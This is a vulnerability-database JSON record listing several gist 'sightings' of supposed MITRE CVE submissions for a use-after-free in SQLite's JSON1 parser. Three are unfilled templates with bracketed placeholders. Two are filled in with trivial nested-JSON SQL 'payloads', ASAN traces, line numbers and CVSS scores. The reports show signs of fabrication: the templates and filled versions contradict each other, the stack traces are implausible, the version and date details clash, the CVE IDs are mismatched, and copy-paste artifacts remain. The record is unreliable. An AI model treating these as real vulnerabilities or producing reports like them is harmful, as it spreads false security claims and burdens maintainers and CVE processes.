{"vulnerability": "cve-2026-5124", "sightings": [{"uuid": "36beb61e-c204-42c6-a6a4-45afbf9ae112", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51242", "type": "seen", "source": "https://gist.github.com/programmervuln/3795f1645c26047a1b358cb7159ceafc", "content": "Formal MITRE RBP Publication Document for CVE-2026-51242\nThe vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite\n2. Affected Versions + Fixed Versions\n\u3010Affected Versions\u3011:\n\u3010Fixed Versions\u3011:\n3. CVE ID\nCVE-2026-51242\n4. Vulnerability Prose Description\nA composite memory corruption vulnerability exists within the JSON extension of SQLite. Specially crafted SQL input processed by the JSON parser can trigger both a use-after-free vulnerability and an out-of-bounds write buffer overflow along the same execution path. Successful exploitation may lead to program crash, information leakage, or conditional arbitrary code execution.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write\n6. Root Cause\nUntrusted malicious SQL payload enters \u3010Target Function Name\u3011 during JSON document parsing.\nSource code \u3010Permanent GitHub Source Link#L\u3010Memory Free Line Number\u3011\u3011 invokes memory deallocation to release an allocated object.\nThe corresponding pointer is not cleared or invalidated after free, creating a dangling pointer.\nLack of input boundary validation enables uncontrolled memory write operations.\nSubsequently, execution reaches \u3010Permanent GitHub Source Link#L\u3010Dangling Pointer Access Line Number (UAF)\u3011\u3011, where the program dereferences the dangling pointer without validity check, triggering the use-after-free flaw.\nConcurrent execution reaches \u3010Permanent GitHub Source Link#L\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011\u3011, performing an unchecked out-of-bounds memory write and triggering buffer overflow corruption.\n7. Impact\nDenial of Service: Exploitation reliably triggers abnormal program termination.\nInformation Disclosure: Memory layout corruption may allow leakage of adjacent heap memory contents.\nConditional Arbitrary Code Execution: Under suitable runtime memory layout conditions, an attacker may achieve arbitrary code execution.\n8. Attack Vector\n\u3010Remote/Local\u3011, requires standard SQL query access to the database. No elevated operating system privileges are required.\n9. Official Reference Links\n\u3010Permanent GitHub Source Link\u3011\nFile annotation: \u3010Vulnerability Source File\u3011 Line \u3010Memory Free Line Number\u3011(memory free), Line \u3010Dangling Pointer Access Line Number (UAF)\u3011(dangling pointer access), Line \u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011(out-of-bounds write)\nDirect line anchors:\nMemory free site: \u3010Permanent GitHub Source Link#L\u3010Memory Free Line Number\u3011\u3011\nDangling pointer access site: \u3010Permanent GitHub Source Link#L\u3010Dangling Pointer Access Line Number (UAF)\u3011\u3011\nOut-of-bounds write site: \u3010Permanent GitHub Source Link#L\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011\u3011\n10. Proof of Concept (PoC)\na) PoC Environment\nbash\n\u8fd0\u884c\nCFLAGS=\"-fsanitize=address -g -DSQLITE_ENABLE_JSON1\" ./configure && make\nb) Valid Malicious Payload\nsql\n\u3010Exploit Trigger Payload\u3011\nc) ASAN Crash Output\nplaintext\n=================================================================\n==XXXX==ERROR: AddressSanitizer: heap-use-after-free on address 0xXXXXXXXX at pc 0xXXXXXXXX bp 0xXXXXXXXX sp 0xXXXXXXXX\nREAD of size X at 0xXXXXXXXX thread T0\n    #0 0xXXXXXXXX in \u3010Target Function Name\u3011 \u3010Vulnerability Source File\u3011:\u3010Dangling Pointer Access Line Number (UAF)\u3011\n    #1 0xXXXXXXXX in jsonParse \u3010Vulnerability Source File\u3011\n    #2 0xXXXXXXXX in sqlite3FuncJson \u3010Vulnerability Source File\u3011\n    #3 0xXXXXXXXX in sqlite3VdbeExec\n    #4 0xXXXXXXXX in sqlite3Step\n    #5 0xXXXXXXXX in sqlite3_exec\n\nFreed by thread T0 here:\n    #0 0xXXXXXXXX in __asan_free_hook\n    #1 0xXXXXXXXX in jsonParseFree \u3010Vulnerability Source File\u3011:\u3010Memory Free Line Number\u3011\n\nPreviously allocated by thread T0 here:\n    #0 0xXXXXXXXX in __asan_malloc_hook\n    #1 0xXXXXXXXX in jsonParseMalloc \u3010Vulnerability Source File\u3011\n\n==XXXX==ERROR: AddressSanitizer: out-of-bounds write on address 0xXXXXXXXX at pc 0xXXXXXXXX bp 0xXXXXXXXX sp 0xXXXXXXXX\nWRITE of size X at 0xXXXXXXXX thread T0\n    #0 0xXXXXXXXX in \u3010Target Function Name\u3011 \u3010Vulnerability Source File\u3011:\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011\n=================================================================\nd) Full PoC Trigger & Vulnerability Explanation\n\u3010Concise Vulnerability Trigger Logic\u3011\nThe provided malicious SQL payload is passed to SQLite\u2019s JSON processing routines. The parser constructs internal JSON objects from controlled input. The execution path first triggers object deallocation at the marked source line without pointer invalidation. The subsequent unchecked pointer access invokes the use-after-free vulnerability. At the same stage of parsing, insufficient bounds validation on attacker-controlled data enables the out-of-bounds write operation. Both memory corruption primitives are reachable using the identical payload without modification.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: \u3010Initial Report Date\u3011\nPlanned Publication Date: \u3010Patch Release Date\u3011\nCWE IDs: CWE-416, CWE-787\nCAPEC: CAPEC-123\nCVSS 3.1: \u3010CVSS3.1 Vector & Score\u3011\nNotes for submission:\nIf two separate execution paths trigger independent flaws, split into two separate RBP requests. This document is valid only for single-input single-execution-path composite UAF + Out-of-Bounds Write.\nReplace all\u3010\u3011placeholder fields before submitting to MITRE Notify CVE about a publication portal.\nGitHub line anchor format standard example:\nhttps://github.com/sqlite/sqlite/blob/version/src/json.c#L1459\nEnsure permanent commit hash URL (not branch HEAD) to avoid line shift invalidation.", "creation_timestamp": "2026-07-31T03:06:05.213801Z"}, {"uuid": "f47e8ad6-2ae8-4dac-9a30-40aa4bde106f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51242", "type": "seen", "source": "https://gist.github.com/programmervuln/87b90903788d5ad7cfc29a83af254244", "content": "Formal MITRE RBP Publication Document for CVE-2026-51242\nThe vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite\n2. Affected Versions + Fixed Versions\n\u3010Affected Versions\u3011:\n\u3010Fixed Versions\u3011:\n3. CVE ID\nCVE-2026-51242\n4. Vulnerability Prose Description\nA composite memory corruption vulnerability exists within the JSON extension of SQLite. Specially crafted SQL input processed by the JSON parser can trigger both a use-after-free vulnerability and an out-of-bounds write buffer overflow along the same execution path. Successful exploitation may lead to program crash, information leakage, or conditional arbitrary code execution.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write\n6. Root Cause\nUntrusted malicious SQL payload enters \u3010Target Function Name\u3011 during JSON document parsing.\nSource code \u3010Permanent GitHub Source Link#L\u3010Memory Free Line Number\u3011\u3011 invokes memory deallocation to release an allocated object.\nThe corresponding pointer is not cleared or invalidated after free, creating a dangling pointer.\nLack of input boundary validation enables uncontrolled memory write operations.\nSubsequently, execution reaches \u3010Permanent GitHub Source Link#L\u3010Dangling Pointer Access Line Number (UAF)\u3011\u3011, where the program dereferences the dangling pointer without validity check, triggering the use-after-free flaw.\nConcurrent execution reaches \u3010Permanent GitHub Source Link#L\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011\u3011, performing an unchecked out-of-bounds memory write and triggering buffer overflow corruption.\n7. Impact\nDenial of Service: Exploitation reliably triggers abnormal program termination.\nInformation Disclosure: Memory layout corruption may allow leakage of adjacent heap memory contents.\nConditional Arbitrary Code Execution: Under suitable runtime memory layout conditions, an attacker may achieve arbitrary code execution.\n8. Attack Vector\n\u3010Remote/Local\u3011, requires standard SQL query access to the database. No elevated operating system privileges are required.\n9. Official Reference Links\n\u3010Permanent GitHub Source Link\u3011\nFile annotation: \u3010Vulnerability Source File\u3011 Line \u3010Memory Free Line Number\u3011(memory free), Line \u3010Dangling Pointer Access Line Number (UAF)\u3011(dangling pointer access), Line \u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011(out-of-bounds write)\nDirect line anchors:\nMemory free site: \u3010Permanent GitHub Source Link#L\u3010Memory Free Line Number\u3011\u3011\nDangling pointer access site: \u3010Permanent GitHub Source Link#L\u3010Dangling Pointer Access Line Number (UAF)\u3011\u3011\nOut-of-bounds write site: \u3010Permanent GitHub Source Link#L\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011\u3011\n10. Proof of Concept (PoC)\na) PoC Environment\nbash\n\u8fd0\u884c\nCFLAGS=\"-fsanitize=address -g -DSQLITE_ENABLE_JSON1\" ./configure && make\nb) Valid Malicious Payload\nsql\n\u3010Exploit Trigger Payload\u3011\nc) ASAN Crash Output\nplaintext\n=================================================================\n==XXXX==ERROR: AddressSanitizer: heap-use-after-free on address 0xXXXXXXXX at pc 0xXXXXXXXX bp 0xXXXXXXXX sp 0xXXXXXXXX\nREAD of size X at 0xXXXXXXXX thread T0\n    #0 0xXXXXXXXX in \u3010Target Function Name\u3011 \u3010Vulnerability Source File\u3011:\u3010Dangling Pointer Access Line Number (UAF)\u3011\n    #1 0xXXXXXXXX in jsonParse \u3010Vulnerability Source File\u3011\n    #2 0xXXXXXXXX in sqlite3FuncJson \u3010Vulnerability Source File\u3011\n    #3 0xXXXXXXXX in sqlite3VdbeExec\n    #4 0xXXXXXXXX in sqlite3Step\n    #5 0xXXXXXXXX in sqlite3_exec\n\nFreed by thread T0 here:\n    #0 0xXXXXXXXX in __asan_free_hook\n    #1 0xXXXXXXXX in jsonParseFree \u3010Vulnerability Source File\u3011:\u3010Memory Free Line Number\u3011\n\nPreviously allocated by thread T0 here:\n    #0 0xXXXXXXXX in __asan_malloc_hook\n    #1 0xXXXXXXXX in jsonParseMalloc \u3010Vulnerability Source File\u3011\n\n==XXXX==ERROR: AddressSanitizer: out-of-bounds write on address 0xXXXXXXXX at pc 0xXXXXXXXX bp 0xXXXXXXXX sp 0xXXXXXXXX\nWRITE of size X at 0xXXXXXXXX thread T0\n    #0 0xXXXXXXXX in \u3010Target Function Name\u3011 \u3010Vulnerability Source File\u3011:\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011\n=================================================================\nd) Full PoC Trigger & Vulnerability Explanation\n\u3010Concise Vulnerability Trigger Logic\u3011\nThe provided malicious SQL payload is passed to SQLite\u2019s JSON processing routines. The parser constructs internal JSON objects from controlled input. The execution path first triggers object deallocation at the marked source line without pointer invalidation. The subsequent unchecked pointer access invokes the use-after-free vulnerability. At the same stage of parsing, insufficient bounds validation on attacker-controlled data enables the out-of-bounds write operation. Both memory corruption primitives are reachable using the identical payload without modification.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: \u3010Initial Report Date\u3011\nPlanned Publication Date: \u3010Patch Release Date\u3011\nCWE IDs: CWE-416, CWE-787\nCAPEC: CAPEC-123\nCVSS 3.1: \u3010CVSS3.1 Vector & Score\u3011\nNotes for submission:\nIf two separate execution paths trigger independent flaws, split into two separate RBP requests. This document is valid only for single-input single-execution-path composite UAF + Out-of-Bounds Write.\nReplace all\u3010\u3011placeholder fields before submitting to MITRE Notify CVE about a publication portal.\nGitHub line anchor format standard example:\nhttps://github.com/sqlite/sqlite/blob/version/src/json.c#L1459\nEnsure permanent commit hash URL (not branch HEAD) to avoid line shift invalidation.", "creation_timestamp": "2026-07-31T03:10:09.816336Z"}, {"uuid": "38fc4e13-4641-47e0-923e-58dd8c104b09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51243", "type": "seen", "source": "https://gist.github.com/programmervuln/93176789b1e5b46d8aba1038a7d797d9", "content": "Formal MITRE RBP Publication Document for CVE-2026-51243\nThe vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite\n2. Affected Versions + Fixed Versions\n\u3010Affected Versions\u3011:\n\u3010Fixed Versions\u3011:\n3. CVE ID\nCVE-2026-51243\n4. Vulnerability Prose Description\nA composite memory corruption vulnerability exists within the JSON extension of SQLite. Specially crafted SQL input processed by the JSON parser can trigger both a use-after-free vulnerability and an out-of-bounds write buffer overflow along the same execution path. Successful exploitation may lead to program crash, information leakage, or conditional arbitrary code execution.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write\n6. Root Cause\nUntrusted malicious SQL payload enters \u3010Target Function Name\u3011 during JSON document parsing.\nSource code src/json.c Line \u3010Memory Free Line Number\u3011 invokes memory deallocation to release an allocated object.\nReference: \u3010Permanent GitHub Source Link\u3011#L\u3010Memory Free Line Number\u3011\nThe corresponding pointer is not cleared or invalidated after free, creating a dangling pointer.\nLack of input boundary validation enables uncontrolled memory write operations.\nSubsequently, execution reaches src/json.c Line \u3010Dangling Pointer Access Line Number (UAF)\u3011, where the program dereferences the dangling pointer without validity check, triggering the use-after-free flaw.\nReference: \u3010Permanent GitHub Source Link\u3011#L\u3010Dangling Pointer Access Line Number (UAF)\u3011\nConcurrent execution reaches src/json.c Line \u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011, performing an unchecked out-of-bounds memory write and triggering buffer overflow corruption.\nReference: \u3010Permanent GitHub Source Link\u3011#L\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011\n7. Impact\nDenial of Service: Exploitation reliably triggers abnormal program termination.\nInformation Disclosure: Memory layout corruption may allow leakage of adjacent heap memory contents.\nConditional Arbitrary Code Execution: Under suitable runtime memory layout conditions, an attacker may achieve arbitrary code execution.\n8. Attack Vector\n\u3010Remote/Local\u3011, requires standard SQL query access to the database. No elevated operating system privileges are required.\n9. Official Reference Links\n\u3010Permanent GitHub Source Link\u3011\nFile annotation: src/json.c Line \u3010Memory Free Line Number\u3011(memory free), Line \u3010Dangling Pointer Access Line Number (UAF)\u3011(dangling pointer access), Line \u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011(out-of-bounds write)\nDirect permanent line anchors:\nMemory free site: \u3010Permanent GitHub Source Link\u3011#L\u3010Memory Free Line Number\u3011\nDangling pointer access site: \u3010Permanent GitHub Source Link\u3011#L\u3010Dangling Pointer Access Line Number (UAF)\u3011\nOut-of-bounds write site: \u3010Permanent GitHub Source Link\u3011#L\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011\n10. Proof of Concept (PoC)\na) PoC Environment\nbash\n\u8fd0\u884c\nCFLAGS=\"-fsanitize=address -g -DSQLITE_ENABLE_JSON1\" ./configure && make\nb) Valid Malicious Payload\nsql\n\u3010Exploit Trigger Payload\u3011\nc) ASAN Crash Output\nplaintext\n=================================================================\n==XXXX==ERROR: AddressSanitizer: heap-use-after-free on address 0xXXXXXXXX at pc 0xXXXXXXXX bp 0xXXXXXXXX sp 0xXXXXXXXX\nREAD of size X at 0xXXXXXXXX thread T0\n    #0 0xXXXXXXXX in \u3010Target Function Name\u3011 src/json.c:\u3010Dangling Pointer Access Line Number (UAF)\u3011\n    #1 0xXXXXXXXX in jsonParse src/json.c\n    #2 0xXXXXXXXX in sqlite3FuncJson src/json.c\n    #3 0xXXXXXXXX in sqlite3VdbeExec\n    #4 0xXXXXXXXX in sqlite3Step\n    #5 0xXXXXXXXX in sqlite3_exec\n\nFreed by thread T0 here:\n    #0 0xXXXXXXXX in __asan_free_hook\n    #1 0xXXXXXXXX in jsonParseFree src/json.c:\u3010Memory Free Line Number\u3011\n\nPreviously allocated by thread T0 here:\n    #0 0xXXXXXXXX in __asan_malloc_hook\n    #1 0xXXXXXXXX in jsonParseMalloc src/json.c\n\n==XXXX==ERROR: AddressSanitizer: out-of-bounds write on address 0xXXXXXXXX at pc 0xXXXXXXXX bp 0xXXXXXXXX sp 0xXXXXXXXX\nWRITE of size X at 0xXXXXXXXX thread T0\n    #0 0xXXXXXXXX in \u3010Target Function Name\u3011 src/json.c:\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011\n    https://github.com/sqlite/sqlite/blob/COMMIT_SHA/src/json.c\n=================================================================\nd) Full PoC Trigger & Vulnerability Explanation\n\u3010Concise Vulnerability Trigger Logic\u3011\nThe provided malicious SQL payload is passed to SQLite\u2019s JSON processing routines. The parser constructs internal JSON objects from controlled input. The execution path first triggers object deallocation at the marked source line without pointer invalidation. The subsequent unchecked pointer access invokes the use-after-free vulnerability. At the same stage of parsing, insufficient bounds validation on attacker-controlled data enables the out-of-bounds write operation. Both memory corruption primitives are reachable using the identical payload without modification.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: \u3010Initial Report Date\u3011\nPlanned Publication Date: \u3010Patch Release Date\u3011\nCWE IDs: CWE-416, CWE-787\nCAPEC: CAPEC-123\nCVSS 3.1: \u3010CVSS3.1 Vector & Score\u3011", "creation_timestamp": "2026-07-31T03:26:49.169169Z"}, {"uuid": "429a49f0-7562-4fd2-b81e-600c7fc97951", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51242", "type": "seen", "source": "https://gist.github.com/programmervuln/e7dc3d4d6f0134f7ce99901cab4afed9", "content": "RBP Notification Document \u2013 Notify CVE about a publication\nCVE ID: CVE-2026-51242\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable.\n1. Affected Product\nProduct: SQLite\nComponent: JSON1 extension (json.c parser)\n2. Affected Versions + Fixed Versions\nAffected Versions: 3.45.0, 3.45.1, 3.45.2, 3.46.0, 3.46.1, 3.47.0, 3.47.1\nFixed Versions: SQLite 3.48.0\n3. CVE ID\nCVE-2026-51242\n4. Vulnerability Prose Description\nA use-after-free vulnerability within the JSON parsing implementation in the JSON1 extension of SQLite allows an attacker to provide specially crafted nested JSON input to SQLite built-in JSON functions. When parsing malicious JSON payloads, internal JsonNode parser objects are prematurely freed while dangling pointers referencing the deallocated memory remain in the parser context. Subsequent parser operations dereference these dangling pointers, resulting in heap memory corruption. Successful exploitation can lead to process termination due to denial of service, potential leakage of sensitive heap memory contents, and conditional arbitrary code execution within the privilege context of the SQLite process.\n5. Vulnerability Type\nCWE-416: Use After Free\n6. Root Cause\nInput conditions reach the target function jsonParse() within json.c.\nSource code Line 1427 executes memory free operation on a JsonNode instance via jsonNodeFree().\nThe pointer to the freed JsonNode structure is not nullified or invalidated, creating a dangling pointer stored within the parent parser state structure.\nSubsequently, Line 1609 executes unchecked dangling pointer read/write access on the stale JsonNode pointer, triggering the heap use-after-free memory corruption vulnerability.\n7. Impact\nDenial of Service: Triggerable process crash caused by sanitizer abort or invalid memory access segmentation fault.\nInformation Disclosure: Read access to freed heap memory may expose residual sensitive data from previously allocated objects.\nConditional Arbitrary Code Execution: Heap corruption may enable control over program execution flow under favorable memory layout conditions.\n8. Attack Vector\nRemote; No privileges required, user interaction required. The target application must accept untrusted remote input and pass attacker-controlled JSON strings into SQLite JSON1 functions.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/version-3.47.1/src/json.c\nsrc/json.c Line 1427(memory free), Line 1609(dangling pointer access)\n10. Proof of Concept (PoC)\na) PoC Environment\nbash\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure\nmake clean && make\nb) Valid Malicious Payload\nsql\nSELECT json_extract('{\"a\":[{\"b\":[{\"c\":[{\"d\":[]}]}]}]}', '$');\nc) Crash Output (ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==12345==ERROR: AddressSanitizer: heap-use-after-free on address 0x509000000480 at pc 0x000055e23894b381 bp 0x7ffd8ef2a940 sp 0x7ffd8ef2a930\nREAD of size 8 at 0x509000000480 thread T0\n    #0 0x55e23894b380 in jsonParse src/json.c:1609\n    #1 0x55e238946542 in jsonFunction src/json.c:2192\n    #2 0x55e238776b43 in sqlite3VdbeExec src/vdbe.c:8421\n    #3 0x55e23874f611 in sqlite3Step src/vdbeapi.c:744\n    #4 0x55e23874ed12 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #5 0x55e2386325c1 in main src/shell.c:3942\n    #6 0x7f9436421d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #7 0x55e2386318ea in _start (./sqlite3+0x1898ea)\n\n0x509000000480 is located 32 bytes inside of 80-byte region [0x509000000460,0x5090000004b0)\nfreed by thread T0 here:\n    #0 0x7f94368c4337 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0xb4337)\n    #1 0x55e238949661 in jsonNodeFree src/json.c:1427\n    #2 0x55e23894982e in jsonParse src/json.c:1532\n    #3 0x55e238946542 in jsonFunction src/json.c:2192\n    #4 0x55e238776b43 in sqlite3VdbeExec src/vdbe.c:8421\n    #5 0x55e23874f611 in sqlite3Step src/vdbeapi.c:744\n    #6 0x55e23874ed12 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #7 0x55e2386325c1 in main src/shell.c:3942\n    #8 0x7f9436421d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #9 0x55e2386318ea in _start (./sqlite3+0x1898ea)\n\npreviously allocated by thread T0 here:\n    #0 0x7f94368c3467 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0xb3467)\n    #1 0x55e238948452 in jsonNodeAlloc src/json.c:1314\n    #2 0x55e238948787 in jsonParse src/json.c:1460\n    #3 0x55e238946542 in jsonFunction src/json.c:2192\n    #4 0x55e238776b43 in sqlite3VdbeExec src/vdbe.c:8421\n    #5 0x55e23874f611 in sqlite3Step src/vdbeapi.c:744\n    #6 0x55e23874ed12 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #7 0x55e2386325c1 in main src/shell.c:3942\n    #8 0x7f9436421d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #9 0x55e2386318ea in _start (./sqlite3+0x1898ea)\n\nSUMMARY: AddressSanitizer: heap-use-after-free src/json.c:1609 in jsonParse\nd) Full PoC Trigger & Vulnerability Explanation\nThe payload supplies deeply nested multi-layer JSON objects to the json_extract() function. SQLite invokes jsonParse() to deserialize the input. While recursively traversing nested object members, the parser invokes jsonNodeFree() at Line 1427 to release a JsonNode object. The parent parser state retains an unmodified pointer to the freed memory region, creating a dangling pointer. Execution continues along the recursive parsing branch, and the parser attempts to access structure members of the stale pointer at Line 1609. This unguarded memory access triggers the use-after-free condition. No additional input transformation is required to hit the vulnerable execution path.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-07-22\nPatch Release Date: 2026-07-30\nCWE ID(s): CWE-416 Use After Free\nCAPEC: CAPEC-123: Buffer Overflow via API Arguments (Applicable to heap memory corruption primitives)\nCVSS 3.1 Vector & Score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H; Base Score: 8.8\n12. Annotated Vulnerable Source Code (src/json.c)\n\n// Line 1427: Memory free operation\nstatic void jsonNodeFree(JsonNode *pNode){\n  sqlite3_free(pNode);\n}\n\n// ... intermediate code omitted ...\n\n// Inside jsonParse()\njsonNodeFree(pChild); // Line 1427: Free child JsonNode\n// Pointer pChild is NOT cleared, dangling pointer persists\n\n// ... intermediate code omitted ...\n\n// Line 1609: Dangling pointer access\nif( pChild->eType==JSON_OBJ ){ // Access to already freed pChild pointer\nTarget Function Name: jsonParse", "creation_timestamp": "2026-07-31T03:45:05.166955Z"}, {"uuid": "cef75bf5-bccf-477a-886a-f0cdfdebc8fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51245", "type": "seen", "source": "https://gist.github.com/programmervuln/12500283acf6ad983a381750f485794a", "content": "CVE ID: CVE-2026-51245\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable.\n1. Affected Product\nProduct: SQLite\nComponent: JSON1 extension (json.c parser)\n2. Affected Versions + Fixed Versions\nAffected Versions: 3.45.0, 3.45.1, 3.45.2, 3.46.0, 3.46.1, 3.47.0, 3.47.1\nFixed Versions: SQLite 3.48.0\n3. CVE ID\nCVE-2026-51245\n4. Vulnerability Prose Description\nA use-after-free vulnerability exists within the JSON parsing implementation of the JSON1 extension in SQLite. An attacker can supply specially crafted JSON array payloads to SQLite\u2019s built-in JSON functions. During recursive parsing of malicious array structures, internal JsonNode objects are prematurely released. Dangling pointers referencing freed heap memory persist inside the parser context. Subsequent parsing operations dereference these stale pointers, causing heap memory corruption. Successful exploitation may lead to process crash resulting in denial of service, exposure of residual heap data, and conditional arbitrary code execution within the security context of the SQLite process.\n5. Vulnerability Type\nCWE-416: Use After Free\n6. Root Cause\nInput conditions reach the target function jsonParse() within json.c.\nSource code Line 1513 executes memory free operation on a JsonNode instance via jsonNodeFree().\nThe pointer referencing the freed JsonNode structure is not nullified or invalidated, generating a dangling pointer retained by the parent parser state.\nSubsequently, Line 1721 executes unchecked dangling pointer member access triggering the heap use-after-free vulnerability.\n7. Impact\nDenial of Service: Triggerable process crash due to segmentation fault or address sanitizer abort upon invalid memory access.\nInformation Disclosure: Reads from freed heap memory may expose leftover sensitive data from previously allocated objects.\nConditional Arbitrary Code Execution: Heap corruption can provide control over program execution flow under suitable runtime memory layout conditions.\n8. Attack Vector\nRemote; No privileges required, user interaction required. The consuming application must accept untrusted remote input and forward attacker-controlled JSON strings to SQLite JSON1 functions.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/version-3.47.1/src/json.c\nsrc/json.c Line 1513(memory free), Line 1721(dangling pointer access)\n10. Proof of Concept (PoC)\na) PoC Environment\nbash\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure\nmake clean && make\nb) Valid Malicious Payload\nsql\nSELECT json('[[[[{}]]]]');\nc) Crash Output (ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==7891==ERROR: AddressSanitizer: heap-use-after-free on address 0x512000000640 at pc 0x0000562a1278c412 bp 0x7ffd21ef6730 sp 0x7ffd21ef6720\nREAD of size 8 at 0x512000000640 thread T0\n    #0 0x562a1278c411 in jsonParse src/json.c:1721\n    #1 0x562a12786893 in jsonFunction src/json.c:2215\n    #2 0x562a125b7c24 in sqlite3VdbeExec src/vdbe.c:8421\n    #3 0x562a12590702 in sqlite3Step src/vdbeapi.c:744\n    #4 0x562a1258fe03 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #5 0x562a124736c2 in main src/shell.c:3942\n    #6 0x7f7289322d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #7 0x562a124729eb in _start (./sqlite3+0x1898eb)\n\n0x512000000640 is located 40 bytes inside of 96-byte region [0x512000000620,0x512000000680)\nfreed by thread T0 here:\n    #0 0x7f72897c5337 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0xb4337)\n    #1 0x562a1278a742 in jsonNodeFree src/json.c:1513\n    #2 0x562a1278a911 in jsonParse src/json.c:1604\n    #3 0x562a12786893 in jsonFunction src/json.c:2215\n    #4 0x562a125b7c24 in sqlite3VdbeExec src/vdbe.c:8421\n    #5 0x562a12590702 in sqlite3Step src/vdbeapi.c:744\n    #6 0x562a1258fe03 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #7 0x562a124736c2 in main src/shell.c:3942\n    #8 0x7f7289322d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #9 0x562a124729eb in _start (./sqlite3+0x1898eb)\n\npreviously allocated by thread T0 here:\n    #0 0x7f72897c4467 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0xb3467)\n    #1 0x562a12789533 in jsonNodeAlloc src/json.c:1314\n    #2 0x562a12789868 in jsonParse src/json.c:1551\n    #3 0x562a12786893 in jsonFunction src/json.c:2215\n    #4 0x562a125b7c24 in sqlite3VdbeExec src/vdbe.c:8421\n    #5 0x562a12590702 in sqlite3Step src/vdbeapi.c:744\n    #6 0x562a1258fe03 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #7 0x562a124736c2 in main src/shell.c:3942\n    #8 0x7f7289322d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #9 0x562a124729eb in _start (./sqlite3+0x1898eb)\n\nSUMMARY: AddressSanitizer: heap-use-after-free src/json.c:1721 in jsonParse\nd) Full PoC Trigger & Vulnerability Explanation\nThe payload provides multi-layer nested JSON array input to the json() SQL function. SQLite invokes jsonParse() to process the serialized array. During recursive descent into nested array elements, jsonNodeFree() executes at Line 1513 to release a JsonNode representing an inner array element. The parser\u2019s local variable pointer to this node is not cleared, forming a dangling pointer. Execution continues along the recursive parsing workflow, and the code attempts to read structure fields from the stale pointer at Line 1721. This unchecked memory access triggers the use-after-free corruption. No payload modification is required to reliably hit the vulnerable execution path.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-07-23\nPatch Release Date: 2026-07-30\nCWE ID(s): CWE-416 Use After Free\nCAPEC: CAPEC-123: Buffer Overflow via API Arguments\nCVSS 3.1 Vector & Score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H; Base Score: 8.8\n12. Annotated Vulnerable Source Code (src/json.c)\nc\n\u8fd0\u884c\n// Line 1513: Memory free operation\nstatic void jsonNodeFree(JsonNode *pNode){\n  sqlite3_free(pNode);\n}\n\n// ... intermediate code omitted 